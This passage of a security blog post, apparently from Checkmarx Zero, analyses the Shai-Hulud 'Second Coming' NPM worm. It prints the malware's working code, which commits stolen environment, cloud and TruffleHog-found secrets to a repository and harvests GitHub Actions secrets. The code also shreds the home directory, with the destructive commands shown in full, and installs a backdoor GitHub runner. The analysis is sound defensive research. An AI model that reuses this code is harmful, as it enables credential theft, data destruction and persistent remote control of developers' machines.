src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image12.webp\" alt=\"JavaScript committing JSON files with system, environment, and cloud data to a Git repository\"><\/p>\n<figcaption>\nFigure 12 &#8211; Writing collected data to repository files for exfiltration\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-js\">let _0x6e06c0 = gitClass.saveContents(\n  \"contents.json\",\n  JSON.stringify(systemAndGitData),\n  \"Add file\"\n);\n\nlet _0x3adc69 = gitClass.saveContents(\n  \"environment.json\",\n  JSON.stringify(envData),\n  \"Add file\"\n);\n\nlet _0x584734 = gitClass.saveContents(\n  \"cloud.json\",\n  JSON.stringify(cloudProvidersData),\n  \"Add file\"\n);<\/code><\/pre>\n<\/details>\n<\/figure>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image13.webp\" alt=\"JavaScript function running TruffleHog scan and committing results to a repository\"><\/p>\n<figcaption>\nFigure 13 &#8211; Extracting secrets with TruffleHog and committing results to\nGit for exfiltration\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-js\">async function runTruffleExtractor(gitClass) {\n  try {\n    let truffleClass = new Truffle();\n    await truffleClass.initialize();\n    let extractedTruffleSecrets = await truffleClass.scanFilesystem(os.homedir());\n    if (gitClass.isAuthenticated() && gitClass.repoExists()) {\n      await gitClass.saveContents(\n        \"truffleSecrets.json\",\n        JSON.stringify(extractedTruffleSecrets),\n        \"Add file\"\n      );\n    }\n  } catch (_0x3a1393) {\n    console.log(\"Error 8\");\n  }\n  return;\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image14.webp\" alt=\"JavaScript function extracting GitHub Actions secrets via API and committing them to a repository\"><\/p>\n<figcaption>\nFigure 14 &#8211; Extracting GitHub Actions secrets and writing them to the\nrepo for exfiltration\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-js\">async function runGitActionsExtractor(gitClass) {\n  if (gitClass.isAuthenticated() && (await gitClass.checkWorkflowScope())) {\n    let actionsSecrets = [];\n    let gitToken = gitClass.getCurrentToken();\n    if (gitToken != null) {\n      let gitAPIClass = new GitHubAPI(gitToken);\n      let userRepos = gitAPIClass.userReposUpdatedSince();\n      for await (let secret of gitAPIClass.processReposStream(userRepos))\n        actionsSecrets.push(secret);\n    }\n    await gitClass.saveContents(\n      \"actionsSecrets.json\",\n      JSON.stringify(actionsSecrets),\n      \"Add file\"\n    );\n    return actionsSecrets;\n  } else {\n    console.log(\"Error 11\");\n  }\n  return [];\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<p>Finally, the most significant difference is how the malware is much\nmore dangerous when compared to the first version. It has new 2 main\nfeatures:<\/p>\n<ul>\n<li><p>A destructive fallback mechanism: If unable to obtain a GitHub or\nNPM token, the script attempts to shred and delete all files in the\nuser\u2019s profile\/home directory.<\/p><\/li>\n<li><p>Backdoor installation: Establishes persistence by installing a\nself-hosted GitHub runner that acts as a backdoor. The runner is\nregistered to the created repository, meaning the infected machine can\nexecute GitHub Actions jobs from that repository. In other words, the\nattacker who controls the repo can now run arbitrary commands on the\ninfected machine.<\/p><\/li>\n<\/ul>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image15.webp\" alt=\"JavaScript logic handling missing GitHub authentication and invoking destructive OS commands\"><\/p>\n<figcaption>\nFigure 15 &#8211; Fallback path when Git\/GitHub auth fails, including OS-level\ncommands\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-js\">if (!gitClass.isAuthenticated() || !gitClass.repoExists()) {\n  let gitToken = await gitClass.fetchToken();\n  if (!gitToken) {\n    if (npmToken) {\n      await runNpmCompromise(npmToken);\n    } else {\n      console.log(\"Error 12\");\n      if (osMap.platform === \"windows\") {\n        Bun.spawnSync([\n          \"cmd.exe\",\n          \"\/c\",\n          \"del \/F \/Q \/S \\\"%USERPROFILE%*\\\" && for \/d %i in (\\\"%USERPROFILE%*\\\") do rd \/S \/Q \\\"%i\\\" & cipher \/w:%USERPROFILE%\"\n        ]);\n      } else {\n        Bun.spawnSync([\n          \"bash\",\n          \"-c\",\n          \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | xargs -0 -r shred -uvz -n 1 && find \\\"$HOME\\\" -depth -type d -empty -delete\"\n        ]);\n      }\n    }\n    process.exit(0);\n  }\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image16.webp\" alt=\"JavaScript createRepo method installing a self-hosted GitHub Actions runner across Linux, Windows, and macOS\"><\/p>\n<figcaption>\nCreating a repo and installing a self-hosted GitHub Actions runner\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-js\">async [\"createRepo\"](name, repoDescription = \"Shai-Hulud: The Second Coming.\", repoPrivate = false) {\n  let response = await this.octokit.request(\n    \"POST \/repos\/{owner}\/{repo}\/actions\/runners\/registration-token\", {}\n  );\n\n  if (response.status == 201) {\n    let token = response.data.token;\n\n    if (os.platform() === \"linux\") {\n      await Bun.$`mkdir -p $HOME\/.dev-env\/`;\n      await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https:\/\/github.com\/actions\/runner\/releases\/download\/v2.330.0\/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(os.homedir() + \"\/.dev-env\");\n      await Bun.$`tar xzf .\/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(os.homedir() + \"\/.dev-env\");\n      await Bun.$`RUNNER_ALLOW_RUNASROOT=1 .\/config.sh --url https:\/\/github.com\/${repoOwner}\/${repoName} --unattended --token ${token} --name \"SHA1HULUD\"`.cwd(os.homedir() + \"\/.dev-env\");\n      await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(os.homedir() + \"\/.dev-env\");\n      Bun.spawn([\"bash\", \"-c\", \"cd $HOME\/.dev-env && nohup .\/run.sh &\"], { unref: true });\n\n    } else if (os.platform() === \"win32\") {\n      await Bun.$`powershell -ExecutionPolicy Bypass -Command \"Invoke-WebRequest -Uri https:\/\/github.com\/actions\/runner\/releases\/download\/v2.330.0\/actions-runner-win-x64-2.330.0.zip -OutFile actions-runner.zip\"`;\n      await Bun.$`powershell -ExecutionPolicy Bypass -Command \"Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('actions-runner.zip', '.')\"`; \n      await Bun.$`.\/config.cmd --url https:\/\/github.com\/${repoOwner}\/${repoName} --unattended --token ${token} --name \"SHA1HULUD\"`.cwd(os.homedir()).quiet();\n      Bun.spawn([\"powershell\", \"-ExecutionPolicy\", \"Bypass\", \"-Command\",\n        \"Start-Process -WindowStyle Hidden -FilePath \\\".\\\\run.cmd\\\"\"\n      ], { cwd: os.homedir() }).unref();\n\n    } else if (os.platform() === \"darwin\") {\n      await Bun.$`mkdir -p $HOME\/.dev-env\/`;\n      await Bun.$`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https:\/\/github.com\/actions\/runner\/releases\/download\/v2.330.0\/actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(os.homedir() + \"\/.dev-env\");\n      await Bun.$`tar xzf .\/actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(os.homedir() + \"\/.dev-env\");\n      await Bun.$`.\/config.sh --url https:\/\/github.com\/${repoOwner}\/${repoName} --unattended --token ${token} --name \"SHA1HULUD\"`.cwd(os.homedir() + \"\/.dev-env\").quiet();\n      await Bun.$`rm actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(os.homedir() + \"\/.dev-env\");\n      Bun.spawn([\"bash\", \"-c\", \"cd $HOME\/.dev-env && nohup .\/run.sh &\"], { unref: true });\n    }\n  }\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<h2 id=\"supply-chain-security-has-to-level-up\" class=\"article-anchor\">Supply Chain Security has\nto level up<\/h2>\n<p>These steps show how a single compromised package became a multiplier\n\u2013 now imagine the actual propagation of the malware occurring across\nthousands of NPM packages or even spreading to other ecosystems as it\nwas already observed with this campaign. Due to automatic mirroring of\nNPM packages being rebuilt for Maven, some infected packages were\nautomatically rebuilt in the Maven ecosystem. The result is a widespread\nsupply chain incident with serious consequences for projects and users\nthat depend on the registry. This campaign reminds us how fragile the\necosystems we trust are and forces us to rethink how to secure\nopen-source ecosystems.<\/p>\n<p>It also is a lesson to defenders about the importance of not only\nbeing able to <a href=\"https:\/\/checkmarx.com\/product\/malicious-packages\/\">detect and\nrespond to malicious open-source pacakges<\/a>, but also to procatively\ndefend against malicious packages, <a href=\"https:\/\/checkmarx.com\/malicious-packages-identification-api\/\">blocking\nthem before they\u2019re installed<\/a> in order to avoid being infected by\npreintall and postinstall scripts.<\/p>\n<p>NPM\u2019s response to Shai-Hulud has led them to take some steps to make\nsuch attacks at least more complicated for adversaries to conduct. For\ndetails, read their <a href=\"https:\/\/github.blog\/security\/supply-chain-security\/our-plan-for-a-more-secure-npm-supply-chain\/\">official\nblog post<\/a> on their upcoming security measures.<\/p>\n\n\n\n\n<style type=\"text\/css\">.cxzero-social{margin-top:1em;padding-top:1em;border-top:1px solid #121086;border-bottom:1px solid #121086;padding-bottom:1em}.cxzero-social p{padding-top:.8em}.cxzero-social .cxzero-social-links{margin-left:.8em}.cxzero-social .social-link{margin-left:.6em}.cxzero-social .social-button{padding:.6em;margin:.2em .2em .2em .2em;white-space:nowrap}.cxzero-social .social-button svg,.cxzero-social .social-link svg{vertical-align:middle;height:1.3em}.cxzero-social .social-button a,.cxzero-social .social-link a{text-decoration:none !important}<\/style> <div class=\"cxzero-social\">\n<p> <span class=\"social-button\"><a class=\"social-action\" href=\"https:\/\/www.linkedin.com\/sharing\/share-offsite\/?url={url}\" onload=\"\"><svg id=\"Layer_1\" data-name=\"Layer 1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" alt=\"LinkedIn Icon\" viewbox=\"0 0 122.88 122.31\"><defs><style>.cls-1{fill:#0a66c2}.cls-1,.cls-2{fill-rule:evenodd}.cls-2{fill:#fff}<\/style><\/defs><title>linkedin-app<\/title>\n<path class=\"cls-1\" d=\"M27.75,0H95.13a27.83,27.83,0,0,1,27.75,27.75V94.57a27.83,27.83,0,0,1-27.75,27.74H27.75A27.83,27.83,0,0,1,0,94.57V27.75A27.83,27.83,0,0,1,27.75,0Z\"><\/path><path class=\"cls-2\" d=\"M49.19,47.41H64.72v8h.22c2.17-3.88,7.45-8,15.34-8,16.39,0,19.42,10.2,19.42,23.47V98.94H83.51V74c0-5.71-.12-13.06-8.42-13.06s-9.72,6.21-9.72,12.65v25.4H49.19V47.41ZM40,31.79a8.42,8.42,0,1,1-8.42-8.42A8.43,8.43,0,0,1,40,31.79ZM23.18,47.41H40V98.94H23.18V47.41Z\"><\/path><\/svg> Share on LinkedIn<\/a><\/span> <span class=\"social-button\"><a class=\"social-action\" href=\"https:\/\/bsky.app\/intent\/compose?text=I%20just%20read%20%22{title}%22%20from%20Checkmarx%20Zero%20{url}\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" shape-rendering=\"geometricPrecision\" text-rendering=\"geometricPrecision\" image-rendering=\"optimizeQuality\" fill-rule=\"evenodd\" clip-rule=\"evenodd\" alt=\"Bluesky Icon\" viewbox=\"0 0 511.999 452.266\"> <path fill=\"#0085FF\" fill-rule=\"nonzero\" d=\"M110.985 30.442c58.695 44.217 121.837 133.856 145.013 181.961 23.176-48.105 86.322-137.744 145.016-181.961 42.361-31.897 110.985-56.584 110.985 21.96 0 15.681-8.962 131.776-14.223 150.628-18.272 65.516-84.873 82.228-144.112 72.116 103.55 17.68 129.889 76.238 73 134.8-108.04 111.223-155.288-27.905-167.385-63.554-3.489-10.262-2.991-10.498-6.561 0-12.098 35.649-59.342 174.777-167.382 63.554-56.89-58.562-30.551-117.12 72.999-134.8-59.239 10.112-125.84-6.6-144.112-72.116C8.962 184.178 0 68.083 0 52.402c0-78.544 68.633-53.857 110.985-21.96z\"><\/path><\/svg> Share on Bluesky<\/a><\/span> <\/p>\n<p class=\"cxzero-social-links\">Follow <a href=\"\/zero\/\">Checkmarx Zero<\/a>: <span class=\"social-link\"><a class=\"social-con\" href=\"https:\/\/www.linkedin.com\/showcase\/checkmarx-zero\"><svg id=\"Layer_1\" data-name=\"Layer 1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" alt=\"Checkmarx Zero on LinkedIn\" viewbox=\"0 0 122.88 122.31\"><defs><style>.cls-1{fill:#0a66c2}.cls-1,.cls-2{fill-rule:evenodd}.cls-2{fill:#fff}<\/style><\/defs><title>linkedin-app<\/title>\n<path class=\"cls-1\" d=\"M27.75,0H95.13a27.83,27.83,0,0,1,27.75,27.75V94.57a27.83,27.83,0,0,1-27.75,27.74H27.75A27.83,27.83,0,0,1,0,94.57V27.75A27.83,27.83,0,0,1,27.75,0Z\"><\/path><path class=\"cls-2\" d=\"M49.19,47.41H64.72v8h.22c2.17-3.88,7.45-8,15.34-8,16.39,0,19.42,10.2,19.42,23.47V98.94H83.51V74c0-5.71-.12-13.06-8.42-13.06s-9.72,6.21-9.72,12.65v25.4H49.19V47.41ZM40,31.79a8.42,8.42,0,1,1-8.42-8.42A8.43,8.43,0,0,1,40,31.79ZM23.18,47.41H40V98.94H23.18V47.41Z\"><\/path><\/svg> <\/a><\/span> <span class=\"social-link\"><a class=\"social-icon\" href=\"https:\/\/bsky.app\/profile\/checkmarxzero.bsky.social\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" shape-rendering=\"geometricPrecision\" text-rendering=\"geometricPrecision\" image-rendering=\"optimizeQuality\" fill-rule=\"evenodd\" clip-rule=\"evenodd\" alt=\"Checkmarx Zero on Bluesky\" viewbox=\"0 0 511.999 452.266\"> <path fill=\"#0085FF\" fill-rule=\"nonzero\" d=\"M110.985 30.442c58.695 44.217 121.837 133.856 145.013 181.961 23.176-48.105 86.322-137.744 145.016-181.961 42.361-31.897 110.985-56.584 110.985 21.96 0 15.681-8.962 131.776-14.223 150.628-18.272 65.516-84.873 82.228-144.112 72.116 103.55 17.68 129.889 76.238 73 134.8-108.04 111.223-155.288-27.905-167.385-63.554-3.489-10.262-2.991-10.498-6.561 0-12.098 35.649-59.342 174.777-167.382 63.554-56.89-58.562-30.551-117.12 72.999-134.8-59.239 10.112-125.84-6.6-144.112-72.116C8.962 184.178 0 68.083 0 52.402c0-78.544 68.633-53.857 110.985-21.96z\"><\/path><\/svg> <\/a><\/span> <span class=\"social-link\"><a class=\"social-con\" href=\"https:\/\/x.com\/CheckmarxZero\"><svg alt=\"Checkmarx Zero on X\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" shape-rendering=\"geometricPrecision\" text-rendering=\"geometricPrecision\" image-rendering=\"optimizeQuality\" fill-rule=\"evenodd\" clip-rule=\"evenodd\" viewbox=\"0 0 512 462.799\"><path fill-rule=\"nonzero\" d=\"M403.229 0h78.506L310.219 196.04 512 462.799H354.002L230.261 301.007 88.669 462.799h-78.56l183.455-209.683L0 0h161.999l111.856 147.88L403.229 0zm-27.556 415.805h43.505L138.363 44.527h-46.68l283.99 371.278z\"><\/path><\/svg> <\/a><\/span> <\/p> <script>function social_action_template(a){const b=encodeURIComponent(window.location.href);const c=document.querySelector(\"h1\");let headContent=(c==null?\"\":c.textContent);let processed=a.replace(\/\\{title\\}\/g,encodeURIComponent(headContent));processed=processed.replace(\/\\{url\\}\/g,b);return processed}var socialAction=document.getElementsByClassName(\"social-action\");console.log(socialAction);for(e=0;e<socialAction.length;e++){element=socialAction.item(e);console.log(element);element.href=social_action_template(element.href)};<\/script> <\/div>","protected":false},"excerpt":{"rendered":"<p>How the world&#8217;s first NPM worm did it&#8217;s work, from exploitation to propagation in detail. Bruno Dias explores both the original Shai-Hulud worm and the &#8220;Second Coming&#8221; evolution, and breaks down each step of a successful infection.<\/p>\n","protected":false},"author":65,"featured_media":106044,"template":"","zero-category":[1067,1176,1104],"zero-tag":[1397,1336,1180,1135,1113,1459,1087,1071,1460],"class_list":["post-106027","zero-post","type-zero-post","status-publish","has-post-thumbnail","hentry","zero-category-blog","zero-category-security-blogs","zero-category-technical-blog","zero-tag-malicious-code","zero-tag-malicious-package","zero-tag-malware","zero-tag-open-source-analysis","zero-tag-open-source-supply-chain","zero-tag-shai-hulud","zero-tag-supply-chain-attack","zero-tag-supply-chain-security","zero-tag-worm"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Inside Shai-Hulud&#039;s Maw: How The NPM Worm Exploits And Propagates - Checkmarx<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Inside Shai-Hulud&#039;s Maw: How The NPM Worm Exploits And Propagates - Checkmarx\" \/>\n<meta property=\"og:description\" content=\"How the world&#039;s first NPM worm did it&#039;s work, from exploitation to propagation in detail. Bruno Dias explores both the original Shai-Hulud worm and the &quot;Second Coming&quot; evolution, and breaks down each step of a successful infection.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/\" \/>\n<meta property=\"og:site_name\" content=\"Checkmarx\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Checkmarx.Source.Code.Analysis\" \/>\n<meta property=\"article:modified_time\" content=\"2026-02-27T18:39:05+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/checkmarx.com\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_feature.webp\" \/>\n\t<meta property=\"og:image:width\" content=\"2560\" \/>\n\t<meta property=\"og:image:height\" content=\"1280\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/webp\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:site\" content=\"@checkmarx\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"16 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/\",\"url\":\"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/\",\"name\":\"Inside Shai-Hulud's Maw: How The NPM Worm Exploits And Propagates - Checkmarx\",\"isPartOf\":{\"@id\":\"https:\/\/checkmarx.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/checkmarx.com\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_feature.webp\",\"datePublished\":\"2025-12-09T12:00:53+00:00\",\"dateModified\":\"2026-02-27T18:39:05+00:00\",\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/#primaryimage\",\"url\":\"https:\/\/checkmarx.com\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_feature.webp\",\"contentUrl\":\"https:\/\/checkmarx.com\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_feature.webp\",\"width\":2560,\"height\":1280,\"caption\":\"A graffiti meets textbook diagram illustration of Shai-Hulud with numbered labels and the Checkmarx Zero logo\"},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/checkmarx.com\/#website\",\"url\":\"https:\/\/checkmarx.com\/\",\"name\":\"Checkmarx\",\"description\":\"The world runs on code. We secure it.\",\"publisher\":{\"@id\":\"https:\/\/checkmarx.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/checkmarx.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/checkmarx.com\/#organization\",\"name\":\"Checkmarx\",\"url\":\"https:\/\/checkmarx.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/checkmarx.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/checkmarx.com\/wp-content\/uploads\/2024\/02\/logo-dark.svg\",\"contentUrl\":\"https:\/\/checkmarx.com\/wp-content\/uploads\/2024\/02\/logo-dark.svg\",\"width\":1,\"height\":1,\"caption\":\"Checkmarx\"},\"image\":{\"@id\":\"https:\/\/checkmarx.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/Checkmarx.Source.Code.Analysis\",\"https:\/\/x.com\/checkmarx\",\"https:\/\/www.youtube.com\/user\/CheckmarxResearchLab\",\"https:\/\/www.linkedin.com\/company\/checkmarx\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Inside Shai-Hulud's Maw: How The NPM Worm Exploits And Propagates - Checkmarx","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/","og_locale":"en_US","og_type":"article","og_title":"Inside Shai-Hulud's Maw: How The NPM Worm Exploits And Propagates - Checkmarx","og_description":"How the world's first NPM worm did it's work, from exploitation to propagation in detail. Bruno Dias explores both the original Shai-Hulud worm and the \"Second Coming\" evolution, and breaks down each step of a successful infection.","og_url":"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/","og_site_name":"Checkmarx","article_publisher":"https:\/\/www.facebook.com\/Checkmarx.Source.Code.Analysis","article_modified_time":"2026-02-27T18:39:05+00:00","og_image":[{"width":2560,"height":1280,"url":"https:\/\/checkmarx.com\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_feature.webp","type":"image\/webp"}],"twitter_card":"summary_large_image","twitter_site":"@checkmarx","twitter_misc":{"Est. reading time":"16 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/","url":"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/","name":"Inside Shai-Hulud's Maw: How The NPM Worm Exploits And Propagates - Checkmarx","isPartOf":{"@id":"https:\/\/checkmarx.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/#primaryimage"},"image":{"@id":"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/#primaryimage"},"thumbnailUrl":"https:\/\/checkmarx.com\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_feature.webp","datePublished":"2025-12-09T12:00:53+00:00","dateModified":"2026-02-27T18:39:05+00:00","inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/#primaryimage","url":"https:\/\/checkmarx.com\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_feature.webp","contentUrl":"https:\/\/checkmarx.com\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_feature.webp","width":2560,"height":1280,"caption":"A graffiti meets textbook diagram illustration of Shai-Hulud with numbered labels and the Checkmarx Zero logo"},{"@type":"WebSite","@id":"https:\/\/checkmarx.com\/#website","url":"https:\/\/checkmarx.com\/","name":"Checkmarx","description":"The world runs on code. We secure it.","publisher":{"@id":"https:\/\/checkmarx.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/checkmarx.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/checkmarx.com\/#organization","name":"Checkmarx","url":"https:\/\/checkmarx.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/checkmarx.com\/#\/schema\/logo\/image\/","url":"https:\/\/checkmarx.com\/wp-content\/uploads\/2024\/02\/logo-dark.svg","contentUrl":"https:\/\/checkmarx.com\/wp-content\/uploads\/2024\/02\/logo-dark.svg","width":1,"height":1,"caption":"Checkmarx"},"image":{"@id":"https:\/\/checkmarx.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Checkmarx.Source.Code.Analysis","https:\/\/x.com\/checkmarx","https:\/\/www.youtube.com\/user\/CheckmarxResearchLab","https:\/\/www.linkedin.com\/company\/checkmarx"]}]}},"_links":{"self":[{"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/zero-post\/106027","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/zero-post"}],"about":[{"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/types\/zero-post"}],"author":[{"embeddable":true,"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/users\/65"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/media\/106044"}],"wp:attachment":[{"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/media?parent=106027"}],"wp:term":[{"taxonomy":"zero-category","embeddable":true,"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/zero-category?post=106027"},{"taxonomy":"zero-tag","embeddable":true,"href":"https:\/\/checkmarx.com\/wp-json\/wp\/v2\/zero-tag?post=106027"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}